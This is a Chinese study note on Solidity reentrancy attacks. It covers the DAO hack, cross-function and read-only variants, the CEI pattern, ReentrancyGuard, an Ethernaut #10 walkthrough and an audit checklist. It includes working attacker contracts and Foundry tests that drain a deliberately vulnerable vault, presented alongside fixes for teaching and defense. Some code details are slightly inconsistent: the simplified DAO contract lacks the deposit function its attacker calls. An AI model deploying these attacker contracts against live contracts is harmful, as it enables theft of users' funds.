返回 SC 笔记
SC Day 49

重入攻击 — 从The DAO到现代防护

### 1. 什么是重入攻击?

2026-05-29
第三阶段:安全审计
soliditysecurityreentrancyethernaut

日期: 2026-05-29 方向: Solidity 阶段: 第三阶段:安全审计 标签: #solidity #security #reentrancy #ethernaut


今日目标

类型内容
学习深入理解重入攻击的原理、The DAO Hack (2016) 案例、单函数/跨函数/只读重入的区别
实操编写漏洞合约 + 攻击合约 + 修复版本(CEI + ReentrancyGuard),Foundry 测试验证
产出重入攻击类型全景、Ethernaut #10 分析、安全审计 checklist

核心概念

1. 什么是重入攻击?

重入攻击(Reentrancy)是智能合约最经典、最致命的漏洞。它的核心原理是:

当合约 A 在状态更新完成之前,向外部地址发起调用(如发送 ETH),外部地址可以回调合约 A 的函数,此时合约 A 的状态仍然是旧的。

正常流程(预期):
1. 用户调用 withdraw(1 ETH)
2. 合约检查: balances[user] >= 1 ETH ✓
3. 合约发送: user.call{value: 1 ETH}
4. 合约更新: balances[user] -= 1 ETH
5. 完成

攻击流程(实际):
1. 攻击者调用 withdraw(1 ETH)
2. 合约检查: balances[attacker] >= 1 ETH ✓
3. 合约发送: attacker.call{value: 1 ETH}
   └─> 3a. 攻击者的 receive() 被触发
       └─> 3b. 再次调用 withdraw(1 ETH)
           └─> 3c. 合约检查: balances[attacker] >= 1 ETH ✓ (还没更新!)
               └─> 3d. 合约发送: attacker.call{value: 1 ETH}
                   └─> 3e. 再次调用 withdraw(1 ETH)
                       └─> ... 循环直到合约余额耗尽
4. 合约更新: balances[attacker] -= 1 ETH (只减了一次!)

2. The DAO Hack (2016) — 改变以太坊历史的攻击

背景

The DAO 是 2016 年在以太坊上最大的去中心化基金,通过众筹募集了约 1.5 亿美元的 ETH。它允许代币持有者投票决定如何投资这些资金。

漏洞代码(简化版)

// The DAO 的 splitDAO 函数(简化)
contract TheDAO {
    mapping(address => uint256) public balances;

    function withdraw() public {
        uint256 balance = balances[msg.sender];
        require(balance > 0);

        // 危险:先转账,后更新状态
        (bool success, ) = msg.sender.call{value: balance}("");
        require(success);

        // 状态更新太晚了!
        balances[msg.sender] = 0;
    }
}

攻击合约

contract Attacker {
    TheDAO public target;
    uint256 public attackCount;

    constructor(address _target) {
        target = TheDAO(_target);
    }

    // 发起攻击
    function attack() external payable {
        // 先存入一些 ETH
        target.deposit{value: msg.value}();
        // 触发第一次提取
        target.withdraw();
    }

    // 每次收到 ETH 时重入
    receive() external payable {
        if (address(target).balance >= 1 ether) {
            attackCount++;
            target.withdraw(); // 重入!
        }
    }
}

历史影响

  • 损失:约 360 万 ETH(当时约 7000 万美元)
  • 后果:以太坊社区决定硬分叉(Hard Fork)回滚交易
  • 以太坊分裂:反对分叉的一方继续原链 → Ethereum Classic (ETC)
  • 教训:这次攻击奠定了"先更新状态,后外部调用"(CEI 模式)的安全原则

3. 重入攻击的三种类型

3.1 单函数重入(Single-function Reentrancy)

最基础的类型,攻击者在同一个函数上重入。就是上面 The DAO 的例子。

3.2 跨函数重入(Cross-function Reentrancy)

攻击者通过一个函数的外部调用,重入另一个函数,而那个函数依赖同一个状态变量。

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function transfer(address to, uint256 amount) external {
        require(balances[msg.sender] >= amount);
        balances[msg.sender] -= amount;
        balances[to] += amount;
    }

    function withdraw() external {
        uint256 bal = balances[msg.sender];
        require(bal > 0);

        // 外部调用
        (bool success, ) = msg.sender.call{value: bal}("");
        require(success);

        // 状态更新
        balances[msg.sender] = 0;
    }
}

攻击者在 withdraw() 的外部调用中不是重入 withdraw(),而是调用 transfer(),把余额转给另一个地址。因为 withdraw() 还没更新 balances[msg.sender]transfer() 认为余额充足。

contract CrossFunctionAttacker {
    VulnerableBank public bank;
    address public accomplice;

    constructor(address _bank, address _accomplice) {
        bank = VulnerableBank(_bank);
        accomplice = _accomplice;
    }

    function attack() external {
        bank.withdraw();
    }

    receive() external payable {
        // 重入 transfer 而非 withdraw
        // 把"未更新的余额"转给同伙
        bank.transfer(accomplice, bank.balances(address(this)));
    }
}

// 结果:
// 1. 攻击者取出了 ETH(通过 withdraw)
// 2. 同时余额还"转给了"同伙(通过 transfer)
// 3. 同伙再 withdraw 一次
// 4. 一份钱花了两次

3.3 只读重入(Read-only Reentrancy)

这是最隐蔽的类型。攻击者不修改受害合约的状态,而是利用受害合约状态的暂时不一致来欺骗第三方合约

// 一个 Vault 合约,提供 getSharePrice() 给外部调用
contract Vault {
    uint256 public totalAssets;
    uint256 public totalShares;

    function getSharePrice() public view returns (uint256) {
        if (totalShares == 0) return 1e18;
        return (totalAssets * 1e18) / totalShares;
    }

    function withdraw(uint256 shares) external {
        uint256 assets = (shares * totalAssets) / totalShares;

        totalShares -= shares;
        // 注意:totalAssets 还没更新!

        // 外部调用
        (bool success, ) = msg.sender.call{value: assets}("");
        require(success);

        // 在外部调用之后才更新
        totalAssets -= assets;
    }
}

// 第三方合约依赖 Vault.getSharePrice()
contract LendingProtocol {
    Vault public vault;

    function borrow(uint256 shares) external {
        // 用 Vault 的 share 作为抵押
        uint256 collateralValue = shares * vault.getSharePrice() / 1e18;
        // ... 根据 collateralValue 借出资产
    }
}

攻击流程:

  1. 攻击者调用 Vault.withdraw()
  2. receive() 回调中,调用 LendingProtocol.borrow()
  3. 此时 Vault.totalShares 已减少但 totalAssets 未减少
  4. getSharePrice() 返回一个虚高的价格
  5. 攻击者用虚高的价格获得更多借款

只读重入的特点:受害的不是被重入的合约,而是依赖其状态的第三方合约。传统的 nonReentrant 修饰符不能防护这种攻击(因为 getSharePrice()view 函数)。

4. CEI 模式(Checks-Effects-Interactions)

CEI 是防止重入攻击的基本编程模式:

Checks:       检查前置条件(require/assert)
Effects:      更新状态变量
Interactions: 外部调用(发送 ETH、调用其他合约)

修复版:

contract SafeBank {
    mapping(address => uint256) public balances;

    function withdraw() external {
        uint256 bal = balances[msg.sender];

        // Checks
        require(bal > 0, "No balance");

        // Effects — 先更新状态!
        balances[msg.sender] = 0;

        // Interactions — 最后才做外部调用
        (bool success, ) = msg.sender.call{value: bal}("");
        require(success, "Transfer failed");
    }
}

即使攻击者重入 withdraw(),第二次调用时 balances[msg.sender] 已经是 0,require(bal > 0) 会失败。

5. ReentrancyGuard — 互斥锁

OpenZeppelin 提供的 ReentrancyGuard 使用一个 storage 变量作为互斥锁:

// OpenZeppelin ReentrancyGuard 简化实现
abstract contract ReentrancyGuard {
    uint256 private constant NOT_ENTERED = 1;
    uint256 private constant ENTERED = 2;
    uint256 private _status;

    constructor() {
        _status = NOT_ENTERED;
    }

    modifier nonReentrant() {
        require(_status != ENTERED, "ReentrancyGuard: reentrant call");
        _status = ENTERED;
        _;
        _status = NOT_ENTERED;
    }
}

使用方式:

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract SafeBank is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function withdraw() external nonReentrant {
        uint256 bal = balances[msg.sender];
        require(bal > 0);

        // 即使这里先做外部调用,重入也会被 nonReentrant 阻止
        (bool success, ) = msg.sender.call{value: bal}("");
        require(success);

        balances[msg.sender] = 0;
    }

    // 跨函数重入也被阻止!
    function transfer(address to, uint256 amount) external nonReentrant {
        require(balances[msg.sender] >= amount);
        balances[msg.sender] -= amount;
        balances[to] += amount;
    }
}

最佳实践:CEI + ReentrancyGuard 双重保护。


代码实战

Foundry 完整测试:漏洞合约 → 攻击 → 修复

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

/// @title VulnerableVault — 存在重入漏洞的合约
contract VulnerableVault {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 bal = balances[msg.sender];
        require(bal > 0, "No balance");

        // 漏洞:先转账后更新状态
        (bool success, ) = msg.sender.call{value: bal}("");
        require(success, "Transfer failed");

        balances[msg.sender] = 0;
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./VulnerableVault.sol";

/// @title ReentrancyAttacker — 攻击合约
contract ReentrancyAttacker {
    VulnerableVault public vault;
    address public owner;
    uint256 public attackCount;

    constructor(address _vault) {
        vault = VulnerableVault(_vault);
        owner = msg.sender;
    }

    /// @notice 发起攻击
    function attack() external payable {
        require(msg.value >= 1 ether, "Need at least 1 ETH");

        // 先正常存入 1 ETH
        vault.deposit{value: 1 ether}();

        // 开始提取(触发重入循环)
        vault.withdraw();
    }

    /// @notice 收到 ETH 时自动重入
    receive() external payable {
        if (address(vault).balance >= 1 ether) {
            attackCount++;
            vault.withdraw();
        }
    }

    /// @notice 攻击者提走所有战利品
    function collectLoot() external {
        require(msg.sender == owner);
        (bool success, ) = owner.call{value: address(this).balance}("");
        require(success);
    }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

/// @title SecureVault — 修复版(CEI + ReentrancyGuard)
contract SecureVault is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external nonReentrant {
        uint256 bal = balances[msg.sender];
        require(bal > 0, "No balance");

        // CEI: Effects before Interactions
        balances[msg.sender] = 0;

        (bool success, ) = msg.sender.call{value: bal}("");
        require(success, "Transfer failed");
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "../src/VulnerableVault.sol";
import "../src/SecureVault.sol";
import "../src/ReentrancyAttacker.sol";

contract ReentrancyTest is Test {
    VulnerableVault vulnerable;
    SecureVault secure;
    ReentrancyAttacker attacker;

    address alice = address(0x1);
    address bob = address(0x2);
    address eve = address(0x666); // 攻击者

    function setUp() public {
        vulnerable = new VulnerableVault();
        secure = new SecureVault();

        // Alice 和 Bob 各存入 10 ETH
        vm.deal(alice, 10 ether);
        vm.deal(bob, 10 ether);
        vm.deal(eve, 1 ether);

        vm.prank(alice);
        vulnerable.deposit{value: 10 ether}();

        vm.prank(bob);
        vulnerable.deposit{value: 10 ether}();

        // Vault 现在有 20 ETH
    }

    /// @notice 验证攻击者可以榨干漏洞合约
    function test_ReentrancyAttack() public {
        // 合约初始余额 20 ETH
        assertEq(vulnerable.getBalance(), 20 ether);

        // Eve 部署攻击合约
        vm.prank(eve);
        attacker = new ReentrancyAttacker(address(vulnerable));

        // Eve 用 1 ETH 发起攻击
        vm.prank(eve);
        attacker.attack{value: 1 ether}();

        // 漏洞合约被榨干!
        assertEq(vulnerable.getBalance(), 0);

        // 攻击者获得了所有 21 ETH(20 + 自己的 1)
        assertEq(address(attacker).balance, 21 ether);

        // 攻击重入了多次
        assertGt(attacker.attackCount(), 0);

        emit log_named_uint("Attack count", attacker.attackCount());
        emit log_named_uint("Attacker profit", address(attacker).balance - 1 ether);
    }

    /// @notice 验证修复版合约能抵御攻击
    function test_SecureVaultResistsAttack() public {
        // 给 secure vault 存入资金
        vm.deal(alice, 10 ether);
        vm.prank(alice);
        secure.deposit{value: 10 ether}();

        // 部署针对 secure vault 的攻击合约
        // 需要一个新的攻击合约指向 secure vault
        ReentrancyAttacker secureAttacker = new ReentrancyAttacker(
            address(secure)
        );

        // 攻击应该失败(因为 nonReentrant + CEI)
        vm.deal(eve, 1 ether);
        vm.prank(eve);

        // 重入调用会被 nonReentrant revert
        // 但由于 CEI,即使没有 guard 也安全
        // 这里 SecureVault 的 withdraw 先清零 balance 再转账
        // 攻击者的 receive 中重入 withdraw 时 balance 已经是 0
        secureAttacker.attack{value: 1 ether}();

        // Secure vault 只被取走了攻击者自己存入的 1 ETH
        assertEq(secure.getBalance(), 10 ether);
        assertEq(address(secureAttacker).balance, 1 ether);
    }

    /// @notice 验证正常用户不受影响
    function test_NormalWithdrawStillWorks() public {
        uint256 aliceBalBefore = alice.balance;

        vm.prank(alice);
        vulnerable.withdraw();

        assertEq(alice.balance - aliceBalBefore, 10 ether);
        assertEq(vulnerable.balances(alice), 0);
    }
}

Ethernaut #10 Re-Entrancy 解析

Ethernaut Level 10 的合约几乎与上面的 VulnerableVault 相同:

// Ethernaut Reentrance(简化)
contract Reentrance {
    mapping(address => uint) public balances;

    function donate(address _to) public payable {
        balances[_to] += msg.value;
    }

    function withdraw(uint _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }
            // 使用 unchecked 减法(Solidity 0.6 风格)
            balances[msg.sender] -= _amount;
        }
    }
}

通关步骤

  1. 部署攻击合约,在 constructor 中记录 target 地址
  2. 调用 donate{value: 0.001 ether}(attackerAddress) 给自己充余额
  3. 调用 withdraw(0.001 ether) 触发重入循环
  4. receive() 中反复调用 withdraw() 直到合约余额归零

关键学习点

  • 即使在 Solidity 0.8+ 中有溢出保护,balances[msg.sender] -= _amount 也不会在重入期间 revert,因为 balances[msg.sender] 仍然是原始值
  • 实际的溢出只在最后一次(正常的)状态更新时发生

关键要点总结

  1. 重入的根因是"外部调用在状态更新之前":只要合约在修改自身状态之前把执行权交给了外部地址,就有重入风险
  2. CEI 模式是第一道防线:Checks → Effects → Interactions 的顺序可以从根本上消除单函数重入
  3. ReentrancyGuard 是第二道防线:通过互斥锁防止同一交易内的重入,同时防护跨函数重入
  4. 只读重入是新兴威胁:2022-2023 年多起事件涉及只读重入,传统的 nonReentrant 无法防护
  5. call 是最危险的外部交互transfersend 有 2300 gas 限制(曾被认为安全),但 EIP-1884 后 gas 成本变化使这种假设不再可靠。推荐用 call + CEI + nonReentrant
  6. 审计重入的关键:搜索所有外部调用点:任何 .call, .transfer, .send, 以及 ERC20 的 transfer/safeTransfer 和 ERC721 的 safeTransferFrom(后两者会调用接收者的回调函数)

常见误区

误区 1: "ERC20 的 transfer 不会触发重入"

标准的 ERC20 transfer 确实不会。但如果代币实现了 ERC777(带有 tokensReceived hook)或者是任何在 transfer 时回调接收者的代币,就会触发重入。这在 2020 年 imBTC/Uniswap 攻击中被利用。

误区 2: "Solidity 0.8 的溢出保护可以防止重入"

溢出保护只防止数学错误,不防止重入。在重入场景中,状态变量还没有被修改,所以不存在溢出——问题是同一个未更新的值被多次使用。

误区 3: "只要用了 ReentrancyGuard 就安全了"

ReentrancyGuard 只保护同一合约内的函数。它不能防止:

  • 只读重入(view 函数不受 guard 影响)
  • 跨合约重入(合约 A 调用合约 B,B 回调 A 的其他函数不在 guard 范围内)
  • 多合约组合攻击

误区 4: "transfer() 和 send() 是安全的因为 gas 限制"

在 Istanbul 硬分叉(EIP-1884)之后,SLOAD 的 gas 从 200 涨到 800。这意味着 2300 gas 的限制在某些情况下可能不够执行回调中的 SLOAD 操作,但在其他情况下又可能够用。依赖 gas 限制来防止重入是不可靠的策略。Solidity 官方也已不推荐使用 transfer()send()


面试关联

Q1: "解释重入攻击及其防护方法"

30 秒版本: 重入攻击利用合约在状态更新前进行外部调用的漏洞。攻击者在回调中再次调用同一函数,读到未更新的旧状态。防护方法:CEI 模式(先更新状态后外部调用)+ ReentrancyGuard(互斥锁)。

2 分钟版本: 补充 The DAO Hack 案例、三种重入类型(单函数/跨函数/只读)、以及为什么需要双重防护。

Q2: "The DAO Hack 对以太坊生态有什么影响?"

  1. 技术影响:确立了 CEI 模式作为安全开发标准
  2. 社区影响:分裂为 ETH(支持回滚)和 ETC(反对干预)
  3. 哲学争论:"代码即法律" vs "社区共识可以纠正错误"
  4. 长期影响:催生了智能合约审计行业、推动了形式化验证研究

Q3: "作为 PM,如何确保产品不被重入攻击?"

  1. 技术层面:要求开发团队遵循 CEI 模式 + ReentrancyGuard,在 code review 中检查所有外部调用
  2. 流程层面:上线前必须经过至少一家专业审计公司审计
  3. 工具层面:集成 Slither/Mythril 等静态分析工具到 CI/CD
  4. 监控层面:部署后使用 Forta/OpenZeppelin Defender 进行实时监控
  5. 应急层面:准备紧急暂停机制(Pausable)和事件响应流程

安全审计 Checklist — 重入相关

□ 所有外部调用(call/transfer/send)是否在状态更新之后?
□ 所有涉及 ETH 发送的函数是否有 nonReentrant 修饰符?
□ ERC20 transfer 是否考虑了 ERC777 兼容代币?
□ ERC721 safeTransferFrom 是否考虑了 onERC721Received 回调?
□ 是否有 view 函数在状态不一致时被外部合约调用的风险?
□ 跨合约调用链中是否存在状态不一致的窗口?
□ 是否使用了 OpenZeppelin 最新版的 ReentrancyGuard?
□ nonReentrant 是否应用于所有关键的状态修改函数(不仅仅是发送 ETH 的函数)?

参考资源